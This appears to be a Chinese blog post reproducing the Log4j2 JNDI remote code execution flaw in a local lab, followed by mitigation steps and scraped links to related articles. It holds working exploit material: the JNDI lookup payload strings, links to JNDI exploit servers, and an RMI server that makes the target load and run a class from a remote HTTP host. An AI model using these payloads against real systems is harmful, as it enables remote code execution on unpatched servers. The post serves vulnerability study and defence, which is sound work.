前情提要

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

构建maven项目引入Log4j2

编写 pom 文件

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6.  
  7. <groupId>org.example</groupId>
  8. <artifactId>Log4j-rce</artifactId>
  9. <version>1.0-SNAPSHOT</version>
  10.  
  11. <dependencies>
  12. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  13. <dependency>
  14. <groupId>org.apache.logging.log4j</groupId>
  15. <artifactId>log4j-core</artifactId>
  16. <version>2.13.3</version>
  17. </dependency>
  18. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
  19. <dependency>
  20. <groupId>org.apache.logging.log4j</groupId>
  21. <artifactId>log4j-api</artifactId>
  22. <version>2.13.3</version>
  23. </dependency>
  24.  
  25. </dependencies>
  26.  
  27. <properties>
  28. <maven.compiler.source>8</maven.compiler.source>
  29. <maven.compiler.target>8</maven.compiler.target>
  30. </properties>
  31.  
  32. </project>

编写测试代码

  1. import org.apache.logging.log4j.Logger;
  2. import org.apache.logging.log4j.LogManager;
  3.  
  4. public class log4jRCE {
  5. private static final Logger logger = LogManager.getLogger(log4jRCE.class);
  6. public static void main(String[] args) {
  7. // 避免因为Java版本过高而无法触发此漏洞
  8. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  9. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  10. // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
  11. logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}");
  12. }
  13. }

下载 JNDI 测试服务器

到 https://github.com/feihong-cs/JNDIExploit

或者

https://github.com/welk1n/JNDI-Injection-Exploit

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

  1. java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

启动服务器

然后运行之前的Log4j2项目即可出现如图所示效果

加载运行自己的 class 类

编写 RMI服务器

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.Reference;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5.  
  6. /**
  7. * @author Pu Zhiwei
  8. * create 2021-12-11 22:06
  9. */
  10. public class RMIServer {
  11. public static void main(String[] args) {
  12. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  13. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  14. try {
  15. LocateRegistry.createRegistry(1099);
  16. Registry registry = LocateRegistry.getRegistry();
  17.  
  18. System.out.println("Create RMI registry on port 1099!");
  19. // 前两个参数为类名,第三个参数为远程类地址
  20. Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");
  21. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  22. registry.bind("evil", referenceWrapper);
  23. } catch (Exception e) {
  24. e.printStackTrace();
  25. }
  26. }
  27. }

编写测试类

  1. public class Test {
  2. static {
  3. System.out.println("你好 Log4j2");
  4. }
  5. }

然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器

  1. python -m http.server 8080

修改 Log4j2 项目内容为

  1. logger.error("${jndi:rmi://192.168.0.105:1099/evil}");

运行项目即可看到 Test 类已被执行

之后你就可以通过修改 Test 类实现更多操作。

如何防范

升级 Log4j2 到最新版本

使用最新版 JDK

临时解决方案:

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”

  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true

  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

END

本文首发于 https://www.buguagaoshu.com/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian

转载请注明来源

令无数程序员加班的 Log4j2 远程执行漏洞复现的更多相关文章

  1. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  4. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  5. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  6. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  7. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  8. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  9. thinkphp远程执行漏洞的本地复现

    thinkphp远程执行漏洞的本地复现 0X00漏洞简介 由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以 ...

随机推荐

  1. 纯前端实现词云展示+附微博热搜词云Demo代码

    前言 最近工作中做了几个数据可视化大屏项目,其中也有用到了词云展示,以前做词云都是用python库来生成图片显示的,这次用了纯前端的实现(Ctrl+V真好用),同时顺手做个微博热搜的词云然后记录一下~ ...

  2. Robot frawork关键字使用报错原因

    对比发现1或者${1}两种方式赋值输出的类型都为整形 >>> ${test1}    set variable   'www' >>> log    ${test1 ...

  3. difflib模块详解

    1.两个字符串对比 import difflib text1=""" test1 #定义字符串 hellow my name is machanwei! difflib ...

  4. <C#任务导引教程>练习十

    /*83,使用接口完成多继承问题 简化版*/using System;interface ITeacher{    string Name    {        get;        set;   ...

  5. [noi707]LP

    (以下用$Sa=\sum_{j=1}^{i}xi\cdot ai$,Sb和Sc同理)令f[i][x]表示前i个数,$Sa\le x\le Sb$时最小的Sc考虑第i个数是否选择,可以得到递推式$f[i ...

  6. Ubuntu下的磁盘管理

    采用fat的磁盘存储,插入后采用相同命令会出现sdb和sdb1 sdb:磁盘 sdb1:磁盘分区标号为1 命令 df:显示磁盘使用情况 du:查询某个文件的大小读 du-h 或du -h --max- ...

  7. springboot和mybatis集成

    springboot和mybatis集成 pom  <?xml version="1.0" encoding="UTF-8"?> <proje ...

  8. P4497 [WC2011]拼点游戏

    P4497 [WC2011]拼点游戏 在我的 cnblogs 中查看 数据结构大杂烩 + 阿巴细节题. 调了三个小时. 首先考虑第一小问的答案. 注意到点数的计算方式是先负后正的形式,不妨看做选出 \ ...

  9. shell 脚本的基本定义

    注意不能有控制,指令之间 [1]shell脚本的基础知识 (1)shell脚本的本质 编译型语言 解释型语言 shell脚本语言是解释型语言 shell脚本的本质 shell命令的有序集合 (2)sh ...

  10. 使用input+datalist简单实现实时匹配的可编辑下拉列表-并解决选定后浏览器默认只显示value的可读性问题

    问题背景 最近小伙伴提了一个希望提高后台下拉列表可操作性的需求,原因是下拉列表选项过多,每次下拉选择比较费时费力且容易出错,硬着头皮啃了啃前端知识,网上搜寻了一些下拉列表实现的资料,这里总结一下. P ...